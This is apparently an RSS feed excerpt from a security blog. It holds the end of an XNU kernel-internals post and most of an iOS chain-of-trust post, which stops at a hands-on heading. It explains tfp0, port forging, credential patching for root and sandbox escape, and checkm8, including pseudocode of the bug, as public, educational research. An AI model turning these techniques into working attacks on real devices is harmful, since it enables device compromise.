<p>The one that matters most is a send right to an <code>IKOT_TASK_CONTROL</code> port whose <code>ip_kobject</code> is a <code>task</code> whose <code>vm_map</code> covers kernel memory. Hold that and you can call <code>mach_vm_read</code> and <code>mach_vm_write</code> against that memory. That single capability is kernel read/write from userland. It is tfp0. Since iOS 14 the kernel&rsquo;s <em>own</em> task will not do: <code>convert_port_to_map_with_flavor</code> panics when the resolved map&rsquo;s <code>pmap</code> is <code>kernel_pmap</code>, which is why a modern chain forges a fake <code>task</code> over a fake <code>vm_map</code> instead.</p>
<p>Make an <code>ipc_port</code> you control read back with <code>io_bits</code> set to <code>IKOT_TASK_CONTROL</code> and <code>ip_kobject</code> pointing at a <code>task</code> you also control, and you have a fake kernel task port even when the real one is out of reach. On arm64e devices (A12 and later) <code>ip_kobject</code> and the entry pointers are PAC-signed (Pointer Authentication: a cryptographic tag stored in a pointer&rsquo;s unused high bits) with per-field discriminators, so you cannot copy a pointer in from elsewhere. That is a large part of why forging a port is hard today, and it is the subject of <a href="/blog/pointer-authentication-arm64e/">the later post on pointer authentication</a>.</p>
<h3 id="ipc_space-a-tasks-table-of-capabilities">ipc_space: a task&rsquo;s table of capabilities</h3>
<p>Ports are the objects. <code>ipc_space</code> is where a task keeps its <em>names</em> for them: the per-task table mapping the names userland sees to the real <code>ipc_port</code> objects. It hangs off the task as <code>itk_space</code>, and it is precisely the Mach counterpart of the file-descriptor table <code>p_fd</code>. Your authority as a task is the set of entries in your <code>ipc_space</code>.</p>
<p>The space holds <code>is_table</code>, an array of <code>struct ipc_entry</code>. A 32-bit port name splits into two parts:</p>
<ul>
<li>an <strong>index</strong>, <code>MACH_PORT_INDEX(name) = name &gt;&gt; 8</code>, which slot in <code>is_table</code>,</li>
<li>a <strong>generation</strong>, <code>MACH_PORT_GEN(name) = (name &amp; 0xff) &lt;&lt; 24</code>, a counter used to detect stale names.</li>
</ul>
<p>Each <code>ipc_entry</code> carries <code>ie_object</code>, a pointer to the <code>ipc_port</code> (PAC-signed on arm64e), and <code>ie_bits</code>, which packs the user-reference count in its low 16 bits (<code>IE_BITS_UREFS_MASK</code>, <code>0x0000ffff</code>), the right type just above them (<code>IE_BITS_TYPE_MASK</code>, <code>0x001f0000</code>), and the generation in its top bits (<code>IE_BITS_GEN_MASK</code>, <code>0xfc000000</code>). Resolving a name is therefore: look up <code>is_table[index]</code>, check the name&rsquo;s generation against the one in <code>ie_bits</code>, check the right type, then dereference <code>ie_object</code>. Every Mach call that takes a port name walks this path, and with a kernel debugger, on a jailbroken device or in Corellium, you can walk the same chain live: task to space to table to entry to port.</p>
<p>When a slot is freed and later reused for a different port, its generation is bumped, so an old name that carried the old generation no longer validates. <code>ipc_entry_lookup()</code> returns <code>IE_NULL</code> on a generation mismatch and the caller turns that into <code>KERN_INVALID_NAME</code>, rather than silently aliasing the new port. Defeating that, by getting a name reused before the generation rolls over or by abusing a table-reallocation bug, is the classic <strong>stale port name</strong> primitive: an old name resolves to a <em>different</em> port than the one it named, which is capability-level type confusion.</p>
<p>And <code>is_table</code> is an ordinary kernel-heap object whose size and placement an attacker can influence by allocating ports. Corrupting an <code>ie_object</code> pointer means a name now resolves to an <code>ipc_port</code> you control, which is the fake task port again.</p>
<h3 id="virtual-memory-traps-zones-and-messages">Virtual memory, traps, zones, and messages</h3>
<p><strong>Virtual memory.</strong> Per task, a <code>vm_map</code> holds a sorted set of <code>vm_map_entry</code> ranges, each backed by a <code>vm_object</code> that owns physical pages, with <code>pmap</code> holding the hardware page tables. Two details recur in exploitation: <code>vm_map_copy</code>, the transient object that carries out-of-line message data, is a standard heap-spray and disclosure primitive, and <code>pmap</code> is what the page-table monitors (PPL, then SPTM) exist to protect.</p>
<p><strong>Mach traps</strong> are the raw entry points, dispatched through <code>mach_trap_table</code> on <em>negated</em> syscall numbers from EL0. The ones an exploit drives constantly are the <code>_kernelrpc_*</code> port and memory calls (<code>mach_port_allocate</code>, <code>mach_port_insert_right</code>, <code>mach_port_mod_refs</code>, <code>mach_vm_allocate</code>) and <code>mach_msg2</code>, the modern consolidated message path. They are reachable from almost any sandbox, which is what makes them the core surface of nearly every escalation.</p>
<p><strong>Zones</strong> are the allocator. <code>zalloc</code> slices pages into fixed-size elements of one kind, with dedicated zones for hot types such as <code>ipc ports</code>. This is where an exploit lines up its objects in memory.</p>
<p><strong>Messages</strong> are what flows through ports. <code>mach_msg2</code> copies a user message into an <code>ipc_kmsg</code> and processes its typed descriptors, port-right transfers and out-of-line memory included. That descriptor handling is one of the densest bug surfaces in the kernel and where the interesting lifetime bugs live, and the dedicated IPC post takes it apart.</p>
<h2 id="the-bsd-half">The BSD half</h2>
<p>The BSD side holds identity, and identity is what you eventually rewrite.</p>
<p><strong>Syscalls</strong> dispatch through <code>sysent</code>, indexed by the positive syscall numbers, the BSD counterpart of the Mach trap table.</p>
<p><strong><code>struct proc</code></strong> is the process from BSD&rsquo;s point of view: <code>p_pid</code>, the file-descriptor table <code>p_fd</code>, a back-pointer to the <code>task</code>, and <code>p_ucred</code>, the pointer to its credentials (since the iOS 15 and macOS 12 line, reached through the read-only <code>proc_ro</code> structure rather than stored in <code>struct proc</code> itself).</p>
<p><strong>Credentials</strong> are a <code>kauth_cred_t</code>, holding the familiar <code>cr_uid</code> and group set plus a field that matters more on iOS than the uid does: <code>cr_label</code>. That label is the slot for the Mandatory Access Control Framework (MACF), the kernel hook layer where AMFI (Apple Mobile File Integrity) and the sandbox attach their per-process policy, and the next two posts are about those two. Credentials are reference-counted and copy-on-write. The offensive use is direct: with kernel read/write, patching your process&rsquo;s <code>p_ucred</code> to point at the kernel process&rsquo;s credentials makes you root, and editing the MACF label takes you out of the sandbox and grants entitlements. That was the canonical thing an iOS kernel exploit did with its read/write through iOS 15. Since iOS 16 the credential is read-only memory, which changed the last step of every chain.</p>
<p><strong>VFS, sockets, and kauth</strong> round out the surface, and they reach the same heap. The archetype is SockPuppet (Ned Williamson, CVE-2019-8605): a use-after-free in a BSD socket option, exploited entirely with Mach-port heap craft. A BSD bug turned into a Mach primitive.</p>
<h2 id="tfp0-the-objective">tfp0: the objective</h2>
<p><code>tfp0</code> is read &ldquo;task-for-pid-zero.&rdquo; <code>task_for_pid(pid)</code> is a Mach trap that returns a send right to that process&rsquo;s task <em>control</em> port, and pid 0 is <code>kernproc</code>, the kernel&rsquo;s own process, whose task is <code>kernel_task</code> and whose address space <em>is</em> kernel memory. So <code>task_for_pid(0)</code> once handed you arbitrary kernel read/write from userland, through ordinary, documented Mach APIs. That is where the name comes from.</p>
<p>tfp0 is a capability, not a technique. The bug and the work to exploit it are the technique; tfp0 is the result they produce, the stable kernel read/write primitive expressed as a Mach port.</p>
<p>The name has outlived the trap. On modern iOS <code>task_for_pid(0)</code> never returns the kernel task: the trap checks for pid 0 first and fails before it looks at credentials or entitlements at all. An exploit forges the port instead, exactly as the ports section described: same capability, obtained a different way. So when someone says a chain &ldquo;gets tfp0,&rdquo; they mean it reaches userland kernel read/write, not that it called a particular trap.</p>
<p>The APIs are ordinary. <code>mach_vm_read(task, addr, size, ...)</code> reads bytes from a task&rsquo;s address space and <code>mach_vm_write(task, addr, data, ...)</code> writes them. These are the calls a debugger uses: lldb attaches to a process by taking its task port, then reads and writes the debuggee&rsquo;s memory with exactly these functions. tfp0 is that mechanism pointed at a task whose address space is kernel memory. Everything comes from <em>which</em> task the port names, a task you were never supposed to be able to name.</p>
<p>Read and write are not interchangeable. A read primitive on its own is reconnaissance: it defeats KASLR (Kernel Address Space Layout Randomization, which shifts where the kernel is loaded) and locates the structures you care about, but it changes nothing. A write on its own is hard to aim: you need a leak, a target at a known offset, or a first write that manufactures the read you were missing. tfp0 is the objective because it packages both, arbitrarily and stably through <code>mach_vm_*</code>, rather than as a fragile one-shot you have to keep re-triggering. Turning a limited primitive into full read/write, upgrading a relative read or a single write-what-where into clean arbitrary access, is a craft of its own and the subject of a later post.</p>
<h2 id="the-shape-of-a-kernel-exploit">The shape of a kernel exploit</h2>
<p>Almost every iOS kernel exploit reads as the same pattern:</p>
<ol>
<li>a memory-safety bug gives limited control (an out-of-bounds write, a use-after-free, a refcount error);</li>
<li>controlled reallocation reclaims the freed or adjacent memory with attacker bytes;</li>
<li>that memory is type-confused into a kobject port or a disclosable <code>vm_map_copy</code>;</li>
<li>which yields arbitrary read/write, a userland kernel task port, tfp0;</li>
<li>which rewrites the process&rsquo;s credentials and its MACF label, and the process is root and out of its sandbox.</li>
</ol>
<p>Two historical bugs show the pattern cleanly. Brandon Azad&rsquo;s voucher_swap (CVE-2019-6225) freed an <code>ipc_voucher</code> through a reference-counting error in MIG (the Mach Interface Generator, which auto-writes the code that unpacks Mach messages for kernel services), reallocated it as a port array, and used the dangling voucher to recover a send right to a fake port, and from there a fake task port. Ian Beer&rsquo;s &ldquo;task_t considered harmful&rdquo; was a design-level capability confusion, where passing task ports across a privilege boundary let a caller confuse which task a kobject port referred to. Both end in the same place: a port that names a kernel object it should not.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The abstractions above are stable; what changed is how hard they are to exploit.</p>
<p>Control ports such as the task self port are now <em>immovable</em> (they cannot be moved to another task) and <em>pinned</em> (they cannot be deallocated), so the old tricks that swapped or freed a task&rsquo;s own control port fault instead. Reference counts moved to the hardened <code>os_refcnt</code> framework, which panics on overflow and on over-release rather than wrapping, closing the overflow-to-use-after-free class. <code>mach_port_guard</code> lets a holder bind a context to a port so unexpected operations fault.</p>
<p>The endgame moved too. Since the iOS 15 and macOS 12 line, <code>p_ucred</code> sits in the read-only <code>proc_ro</code> structure and <code>struct ucred</code> is allocated <code>ZC_READONLY</code>, through <code>zalloc_ro</code> rather than ordinary <code>zalloc</code>, so patching a credential is no longer a plain kernel write: it needs a gadget that goes through the read-only allocator&rsquo;s own write path.</p>
<p>Bigger still: <code>kalloc_type</code> (iOS 15) segregates the heap by type signature, so a freed object can only be reclaimed by a type that lands in the same signature bucket, and the bucketing is re-randomized every boot. That breaks the generic &ldquo;reallocate the freed slot as an <code>ipc_port</code>&rdquo; move that step 2 above relied on. On A15 and later hardware, from iOS 17 on, SPTM and TXM (the Trusted Execution Monitor) took page tables and code signing out of XNU entirely, so even a full kernel read/write can no longer rewrite page tables or forge a code-signing verdict. On A19, Memory Integrity Enforcement (always-on hardware memory tagging) makes many linear overflows and use-after-frees crash on the spot instead of corrupting anything. tfp0 is now the start of the hard part.</p>
<h2 id="hands-on-reading-the-structures-out-of-the-kernelcache">Hands-on: reading the structures out of the kernelcache</h2>
<p>The previous post pulled a kernelcache apart the long way, through the Image4 container. To just get one open in a disassembler, <code>ipsw</code> downloads and decompresses it in a single command, without fetching the whole IPSW firmware bundle:</p>
<pre><code class="language-bash">ipsw download ipsw --device iPhone10,3 --version 15.0 --kernel
# writes a decompressed arm64 Mach-O under a build-named folder, e.g.
# 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6

file 19A346__iPhone10,3/kernelcache.release.iPhone10,3_6
# Mach-O 64-bit executable arm64
</code></pre>
<p>iPhone10,3 is an A11, so this image is plain <code>arm64</code>, not <code>arm64e</code>, and the pointer fields you will see are not PAC-signed. That is what you want for a first read: the raw layout, without the signing A12 and later add on top.</p>
<p>Open the file in a disassembler with arm64 support: Hopper, Ghidra, or IDA Pro on macOS. IDA Home works as well, but it licenses one processor family at a time, so you need the ARM edition, and it ships without the decompiler. Point it at the whole kernelcache, kernel plus all kexts, and let the analysis finish.</p>
<p>A release kernelcache carries almost no symbol names, so recover them first. <code>ipsw kernel sym</code>, paired with blacktop&rsquo;s <code>symbolicator</code> signatures, rebuilds most of them and writes a JSON you apply with the matching script for Ghidra, IDA Pro, or Binary Ninja. IDA users can additionally run <code>ida_kernelcache</code>, the maintained cellebrite-labs fork of Azad&rsquo;s original, to rebuild the C++ vtables and <code>OSMetaClass</code> hierarchies.</p>
<p>Work through four things:</p>
<p><strong>1. The syscall tables.</strong> <code>mach_trap_table</code> and <code>sysent</code> both sit at the front of the kernel. <code>ipsw</code> dumps the BSD one in full, each entry with its number, handler, argument count, and C prototype:</p>
<pre><code class="language-bash">ipsw kernel syscall kernelcache.release.iPhone10,3_6
</code></pre>
<p><img alt="The BSD syscall table (sysent) dumped by ipsw: each entry's number, handler address, argument count, and prototype" src="syscall-table.png" loading="lazy" decoding="async" width="3018" height="1836"></p>
<p>In the disassembler <code>mach_trap_table</code> sits at its symbol as a raw array of <code>{ argument count, handler pointer }</code> entries.</p>
<p><strong>2. Port to kernel object.</strong> Decompile any member of the <code>convert_port_to_*</code> family; <code>convert_port_to_map_with_flavor</code> is a clean one. Its own body is the tail of the bridge, since the port-to-task translation and the kobject type check sit in the callee it opens with: it takes the task behind the port, checks the task is still active, walks to <code>task-&gt;map</code>, and compares <code>map-&gt;pmap</code> against <code>kernel_pmap</code>. When that comparison hits it panics with <code>userspace has access to a kernel map ... through task</code>. That is the iOS 14 check from the ports section, in the binary.</p>
<p><img alt="convert_port_to_map_with_flavor decompiled in Ghidra: it resolves the task behind the port, checks the task is active, walks to task-&gt;map, compares map-&gt;pmap against kernel_pmap, and panics when they match" src="ipc-port.png" loading="lazy" decoding="async" width="1394" height="1186"></p>
<p><strong>3. The name lookup.</strong> Decompile <code>ipc_right_lookup_read</code>, which resolves a port name for a read. The <code>ipc_space</code> walk is right there in the decompilation: <code>param_2 &gt;&gt; 8</code> for the table index, <code>* 0x18</code> to scale it by the <code>ipc_entry</code> size, then <code>ie_object</code> at offset 0 and <code>ie_bits</code> at <code>+ 8</code>.</p>
<p><img alt="ipc_right_lookup_read decompiled in Ghidra: the port name shifted right by 8 for the table index, scaled by the ipc_entry size, resolving to the entry's ie_object and ie_bits" src="ipc-entry.png" loading="lazy" decoding="async" width="1256" height="1478"></p>
<p><strong>4. Where identity lives.</strong> The last piece is the write target. <code>struct proc</code> holds <code>p_ucred</code>, and the <code>kauth_cred_*</code> accessors that symbolication turns up read the very <code>cr_uid</code> and <code>cr_label</code> fields a chain overwrites at the end: patch <code>p_ucred</code> to a privileged cred and the process is root and out of its sandbox. On this iOS 15 image that is a plain kernel write; from iOS 16 the same fields sit in read-only zones.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>XNU is a Mach and BSD hybrid in one address space; authority is held as ports and named through <code>ipc_space</code>; and the objective every escalation shares is a single capability, tfp0, a userland handle to kernel read/write that you obtain today by forging the kernel task port rather than by asking for it.</p>
<p>That capability is only interesting because of what it is allowed to overwrite, and the next posts are about what sets those limits. The MACF label we just met inside <code>p_ucred</code> is where <a href="/blog/ios-code-signing-pipeline/">the following article</a> starts: the framework that decides, at every <code>exec</code>, what is even allowed to run, and how AMFI, code signing, and trust caches hang off it.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, and published research.</p>
<ul>
<li>Apple&rsquo;s open-source <a href="https://github.com/apple-oss-distributions/xnu">XNU</a> is ground truth for every structure and macro named above: <code>osfmk/ipc/ipc_port.h</code>, <code>ipc_object.h</code>, <code>ipc_entry.h</code>, <code>osfmk/mach/port.h</code> (<code>MACH_PORT_INDEX</code> and <code>MACH_PORT_GEN</code>), <code>osfmk/kern/syscall_sw.c</code> (the trap table), <code>osfmk/kern/ipc_tt.c</code> (the <code>convert_port_to_*</code> helpers), <code>osfmk/kern/ipc_kobject.c</code> (the manual PAC of <code>ip_kobject</code>), and <code>osfmk/kern/kalloc.c</code> / <code>zalloc.c</code>.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume II: Kernel Mode</em> (<a href="https://newosxbook.com/index.php">newosxbook.com</a>), is the reference for the Mach and BSD structures, trap tables, and zone allocator.</li>
<li>Brandon Azad, <a href="https://projectzero.google/2019/01/voucherswap-exploiting-mig-reference.html">&ldquo;voucher_swap: Exploiting MIG reference counting in iOS 12&rdquo;</a> (Project Zero, CVE-2019-6225), and <a href="https://projectzero.google/2020/06/a-survey-of-recent-ios-kernel-exploits.html">&ldquo;A survey of recent iOS kernel exploits&rdquo;</a> map the port and zone primitives named here.</li>
<li>Ian Beer, <a href="https://projectzero.google/2016/10/taskt-considered-harmful.html">&ldquo;task_t considered harmful&rdquo;</a> (Project Zero), is the capability-confusion case study, and the <code>mach_portal</code> / <code>async_wake</code> writeups established the port-spray playbook.</li>
<li>Apple Security Research, <a href="https://security.apple.com/blog/towards-the-next-generation-of-xnu-memory-safety/">&ldquo;Towards the next generation of XNU memory safety: kalloc_type&rdquo;</a>, for the heap-segregation change that reshaped step 2 of the exploit arc.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #1: The iOS chain of trust</title>
      <link>https://sigreturn.com/blog/ios-chain-of-trust/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/ios-chain-of-trust/</guid>
      <pubDate>Sat, 27 Jun 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>apple</category>
      <category>secure-boot</category>
      <category>image4</category>
      <category>checkm8</category>
      <category>boot-chain</category>
      <description><![CDATA[<p>Turn on an iPhone and within a few milliseconds it is running an operating-system kernel signed by Apple. The flash storage that holds that kernel is writable and the USB port is exposed, so in principle an attacker who can change the bytes on disk should be able to boot their own code. In practice they cannot, because the device runs a sequence of signature checks that begins in the SoC (the chip itself) and continues until the kernel is loaded. Each stage checks the signature of the next before running it.</p>
<div class="admonition note">
<p>Everything in this article is public. It contains no exploit and no 0day.</p>
</div>
<h2 id="the-problem-a-root-of-trust">The problem: a root of trust</h2>
<p>Verification like this is circular unless it ends somewhere: the kernel is trusted because iBoot checked its signature, iBoot because an earlier stage checked its signature, and so on down. Either that goes on forever or it stops at something the device trusts without checking, which is the root of trust. It has to meet two conditions: an attacker must not be able to modify it, and it must hold the reference value every later check compares against.</p>
<p>The chain gives two separate guarantees. Integrity: at each stage, only code signed by Apple runs, so an unsigned kernel never boots. Anti-downgrade: the device refuses an older signed version, so nobody reinstalls an old iBoot to reuse a vulnerability Apple has since fixed.</p>
<h2 id="the-anchor-boot-rom">The anchor: Boot ROM</h2>
<p>The root of trust is the first code the Application Processor (the main CPU, Apple&rsquo;s AP) runs when it leaves reset. Apple calls it the Boot ROM. Most people who study it call it SecureROM, after the string inside the code. It is read-only memory written when the chip is fabricated, and it contains a small amount of code plus the Apple Root CA public key.</p>
<p>The Boot ROM uses that key to verify that the next stage was signed by Apple before running it. Nothing can change the key or the code after fabrication. That is what lets the Boot ROM serve as the anchor: a modifiable anchor would verify the attacker&rsquo;s code as readily as Apple&rsquo;s.</p>
<p>The same property has a cost: a bug in later code can be patched, a bug in read-only silicon cannot. checkm8 is the example.</p>
<h2 id="the-stages-one-link-at-a-time">The stages: one link at a time</h2>
<p>Trust moves up from the anchor one stage at a time, each stage verifying the signature on the next before transferring control to it.</p>
<p>The exact stages depend on the age of the device. On A9 and earlier there is an extra one, the Low-Level Bootloader (LLB): the Boot ROM verifies and runs LLB, which verifies and runs iBoot. On A10 and later the Boot ROM loads iBoot directly. LLB still ships as an image, but it is now identical to iBoot, and iBoot does LLB&rsquo;s old job in its first internal phase. Up to A14 the chain is three stages; on A15 and later iBoot also loads SPTM (the Secure Page Table Monitor) and TXM (the Trusted Execution Monitor), which come up before the kernel:</p>
<pre><code>   Application Processor, out of reset
             │
             ▼
        Boot ROM        immutable, holds the Apple Root CA public key
             │          verify signature, then jump
             ▼
         iBoot          (A10+; older SoCs run LLB before this stage)
             │          verify signature, then jump
             ▼
       kernelcache      XNU + kexts, wrapped in an Image4 container
</code></pre>
<p>iBoot is a full bootloader: its own USB stack, a command interpreter in development builds, and the code that loads the kernel.</p>
<p>A kernelcache is XNU, the kernel iOS and macOS share, prelinked with the kernel extensions (kexts) the device needs, compressed, and, on every 64-bit device, wrapped in the Image4 container described in the next section.</p>
<h2 id="boot-modes-normal-recovery-and-dfu">Boot modes: normal, recovery, and DFU</h2>
<p>The same chain runs differently depending on how the device was started, and each way stops at a different stage.</p>
<p>Normal boot runs the entire chain and starts the OS. Recovery mode runs it up to iBoot, which stops short of the kernel and waits for a host over USB: that is the &ldquo;connect to computer&rdquo; screen, and it is what an ordinary restore or update talks to. DFU mode, for Device Firmware Update, stops one stage lower. The device halts in the Boot ROM with the screen black and waits for the host to send the next image, which it checks exactly as it would at normal boot: the host sends iBSS, the restore first stage, which in turn loads iBEC, and each has to be signed and personalized for that device or the Boot ROM refuses it. DFU is used for the lowest-level restores, and it is the mode a Boot ROM exploit needs, because the USB code listening there belongs to the Boot ROM itself.</p>
<pre><code>   Boot ROM ──▶ iBoot ──▶ kernelcache ──▶ iOS     normal boot
       │           │
       │           └──▶ iBoot waits on USB        recovery mode
       │                (&quot;connect to computer&quot;)
       │
       └──▶ Boot ROM waits on USB                 DFU mode
            (screen black; checkm8 attacks the USB code here)
</code></pre>
<h2 id="image4-the-container-everything-is-signed-in">Image4: the container everything is signed in</h2>
<p>Every signed object in the chain uses the same container: Image4, written IMG4. iBoot, the kernelcache, the device tree, the Secure Enclave Processor (SEP) firmware, and the restore ramdisk are all IMG4 files. It is an ASN.1 structure in DER encoding, the same tagged binary format X.509 certificates use, with three parts that matter here.</p>
<p>The payload is the IM4P: a four-character tag naming the contents (<code>krnl</code> for the kernelcache, <code>ibot</code> for iBoot, <code>sepi</code> for the SEP firmware), a description string such as a build version, the payload bytes, and the compression scheme if there is one. Two appear in practice: LZSS, which Apple wraps in a <code>complzss</code> header, and LZFSE, Apple&rsquo;s own compressor. An encrypted payload also carries a KBAG, its wrapped key material.</p>
<p>The manifest is the IM4M; the personalized copy a device actually boots under is the APTicket. It lists the expected digest (SHA-384 on modern devices) of every image in the boot chain, plus a set of manifest properties, an X.509 certificate chain, and an RSA signature over all of it. That chain terminates at an Apple-controlled secure-boot root whose public key is the one held in the Boot ROM. Despite the certificates, this is not a CMS (Cryptographic Message Syntax) or PKCS#7 signature, as is often claimed, but an Apple-specific structure.</p>
<p>The restore info is the IM4R. It carries the boot nonce, tagged <code>BNCN</code>.</p>
<p>Verifying an image against a manifest is three steps: the manifest&rsquo;s signature is valid and chains to Apple; its properties match this silicon and this boot (chip ID, board ID, the ECID or Exclusive Chip Identification, the boot nonce, the production and security state); and the image about to run hashes to the digest the manifest lists for it.</p>
<h2 id="personalization-and-the-signing-window">Personalization and the signing window</h2>
<p>The checks so far verify a signature. They do not explain why a valid, Apple-signed iBoot from an old release cannot be installed today. That takes a separate mechanism.</p>
<p>Apple signs each build per device and per install rather than once for all devices. During a restore or update, the device sends Apple&rsquo;s signing service (the Tatsu Signing Server, TSS) the list of images it wants to install plus two device-specific values: the ECID, a serial number unique to that SoC, and the ApNonce, a fresh anti-replay value derived from a random generator value and hashed (SHA-384 on current chips) into the manifest field <code>BNCH</code>. TSS returns a manifest bound to that ECID and that nonce. That personalized manifest is the APTicket; a saved copy is an SHSH blob, <code>.shsh2</code> on modern devices.</p>
<p>The binding does two things. The ECID stops a ticket signed for one device from validating on another, so signed firmware cannot be moved between devices. The nonce stops replay: a stock device picks a new ApNonce at every restore, so a ticket signed against yesterday&rsquo;s nonce no longer matches. Reusing an old ticket means forcing the device to produce the original nonce again, which stock firmware will not do.</p>
<p>The signing window is a time limit on top of this. Apple issues fresh signatures only for the build it currently ships; some days or weeks after a new release it stops signing the previous one, and TSS will no longer personalize that build for any device. Without a saved ticket and a reproducible nonce, there is then no way back to it.</p>
<div class="admonition note">
<p>This is why people save SHSH blobs. While Apple still signs a build, a tool such as <code>tsschecker</code> can request and store its personalized ticket, and once the signing window closes that saved ticket is the only way back to that build. Using one is the harder half: it also takes a jailbreak, to force the boot-nonce generator to reproduce the nonce the ticket was signed against. <code>futurerestore</code> does both, taking a saved blob plus a forced generator. On A12 and later this is largely closed off.</p>
</div>
<h2 id="the-secure-enclave-boots-alongside">The Secure Enclave boots alongside</h2>
<p>While the Application Processor works through that sequence, the Secure Enclave runs an equivalent one in parallel, isolated in hardware, with its own Boot ROM: a separate root of trust on the same die. At startup iBoot reserves a region of memory for it and passes the enclave its operating system, sepOS. The enclave&rsquo;s own Boot ROM verifies that image&rsquo;s hash and signature before running it; iBoot delivers the image but does not check it. If the check fails, the enclave stops operating until the next full chip reset.</p>
<p>On A13 and later a hardware mechanism, System Coprocessor Integrity Protection (SCIP), lets the enclave processor run nothing but its Boot ROM at startup, and the enclave cannot change that configuration itself. Widening it is the job of a separate Boot Monitor: to make sepOS runnable the Boot ROM has to ask that monitor, which resets the enclave processor, hashes the image, widens SCIP to cover it, and starts it. The Boot Monitor keeps a running measurement of everything it makes executable and hands the final value to the Public Key Accelerator, which uses it for OS-bound keys. Secure boot is two chains, rooted in two separate ROMs, that meet at a shared memory region; the enclave gets its own article.</p>
<h2 id="when-the-chain-breaks-checkm8">When the chain breaks: checkm8</h2>
<p>The chain&rsquo;s security depends entirely on the anchor, and on a large range of devices the anchor is exploitable.</p>
<p>In September 2019, axi0mX published checkm8 (CVE-2019-8900), a use-after-free in the Boot ROM&rsquo;s USB code. It is reachable only in DFU mode and only over a physical USB connection. When DFU brings USB up it allocates one fixed-size buffer for control transfers. A control transfer that carries a data phase then aims a second set of globals at that buffer, a write cursor plus the expected and received byte counts, and those are cleared only once the whole data phase has arrived. Stop the data phase short and they are never cleared. Aborting DFU at that point frees the buffer and does null the buffer pointer itself, but the stale write cursor still holds the address, and the next DFU cycle writes through it. Whoever controls what lands in the freed memory gets code execution in the first code the device runs.</p>
<p>Apple&rsquo;s Boot ROM is closed source, so the pseudocode below is reconstructed from public analysis, not copied from it:</p>
<pre><code class="language-c">static void    *io_buffer;             /* the DFU control-transfer buffer, 0x800 bytes */
static uint8_t *ep0_data;              /* data-phase write cursor, into io_buffer */
static size_t   ep0_expected, ep0_got; /* bytes this phase wants, bytes that arrived */

/* Entering DFU allocates the buffer, once. */
static void usb_dfu_init(void)
{
    io_buffer = memalign(0x800, 0x40);
}

/* A control request with a data phase aims the cursor at that buffer. */
static void handle_interface_request(uint16_t wLength)
{
    ep0_data     = io_buffer;
    ep0_expected = wLength;
    ep0_got      = 0;
}

/* The cursor is cleared only once the whole data phase has arrived. */
static void handle_ep0_data_phase(const void *data, size_t len)
{
    memcpy(ep0_data + ep0_got, data, len);
    ep0_got += len;
    if (ep0_got == ep0_expected) {
        ep0_data     = NULL;           /* the only path that clears it */
        ep0_expected = 0;
    }
}

/* Leaving DFU frees the buffer and does clear io_buffer. */
static void usb_dfu_exit(void)
{
    free(io_buffer);
    io_buffer = NULL;                  /* but ep0_data still holds the old address */
}
</code></pre>
<p>The rest of checkm8 is heap control. SecureROM&rsquo;s allocator is deterministic, so the buffer allocated on the next DFU entry would land straight back on the freed block; the exploit first leaks allocations to push that new buffer elsewhere, lets a USB request structure fall into the freed region instead, and overwrites its callback and next pointers through the stale cursor. When the USB stack completes that request it calls into the attacker&rsquo;s payload.</p>
<p>checkm8 affects every SoC from A5 to A11, meaning iPhones from the 4S through the iPhone 8 and iPhone X, along with many iPads and iPods and the A10-derived T2 chip in Intel Macs. Because the vulnerable code is in read-only ROM, none of these devices can be patched.</p>
<p>Two distinctions matter. The checkm8 bug is not the checkra1n jailbreak built on it: checkra1n supported only A7 through A11, and A5 and A6 needed other tools. The unreset data-phase state is in fact still there on A12 and A13, but not exploitable, because those ROMs offer no way to keep the new buffer off the freed block. And checkm8 by itself gives no access to user data. It requires physical possession of the device and a cable, it does not survive a reboot, and it does not defeat the Secure Enclave, the passcode, or the data-at-rest encryption they protect. checkm8 gives control of the boot chain itself.</p>
<p>That control still matters, because every guarantee above the Boot ROM (the signature checks, the signing window, the trust caches and code-integrity mechanisms) is enforced by code that checkm8 can replace. It is why later mitigations are designed on the assumption that the layer below them may be compromised.</p>
<h2 id="from-a-boot-rom-bug-to-a-jailbreak">From a Boot ROM bug to a jailbreak</h2>
<p>checkm8 puts an attacker&rsquo;s code inside that first stage. Once you are running inside the component that decides what runs next, you can change the decision: skip the signature check instead of performing it.</p>
<p>From there you work up the chain. You hand the Boot ROM a modified iBoot and your code lets it through unverified; that iBoot then loads a patched kernel the same way. Each stage you own disables the check on the next.</p>
<p>At the top you have a kernel running your changes. That is what a jailbreak is. The device will run software Apple never signed, you can load your own kernel code, and for a researcher the whole system becomes something to inspect, patch and debug from the inside.</p>
<p>Because the Boot ROM is read-only, none of this sticks: reboot without a computer attached and the device comes back up stock. That is why checkm8 jailbreaks are called semi-tethered.</p>
<h2 id="apple-silicon-macs-localpolicy-and-security-levels">Apple Silicon Macs: LocalPolicy and security levels</h2>
<p>Everything above describes an iPhone. Since Apple Silicon it describes a Mac too: Boot ROM, then LLB, then iBoot, then the kernel, with LLB still a distinct stage rather than merged into iBoot. The one addition is that a Mac owner can choose how strict the chain is, and that choice is itself signed.</p>
<p>The choice lives in a file called LocalPolicy, an Image4 object that the machine&rsquo;s own Secure Enclave signs rather than Apple, with a key generated on that Mac that never leaves it. The enclave&rsquo;s attached secure storage blocks rollback of the policy, so it cannot be silently downgraded to a weaker setting.</p>
<p>There are three settings. Full Security is the default and matches iOS: the OS is personalized to the machine with its ECID, giving the same anti-rollback guarantee. Reduced Security uses Apple&rsquo;s global, non-personalized signatures, which allows booting older signed versions of macOS and is also required to load third-party kernel extensions. Permissive Security accepts boot objects signed locally by the enclave rather than by Apple, including a custom XNU kernel, and it is the prerequisite for turning System Integrity Protection off, since on Apple Silicon that policy lives in the signed LocalPolicy rather than in NVRAM. It is intended for developers and researchers.</p>
<p>Changing any of these settings requires physical access. The user boots into recoveryOS through One True Recovery, entered by pressing and holding the power button (a signal software running in macOS cannot generate), and authenticates as an administrator.</p>
<h2 id="hands-on-from-ipsw-to-kernelcache">Hands-on: from IPSW to kernelcache</h2>
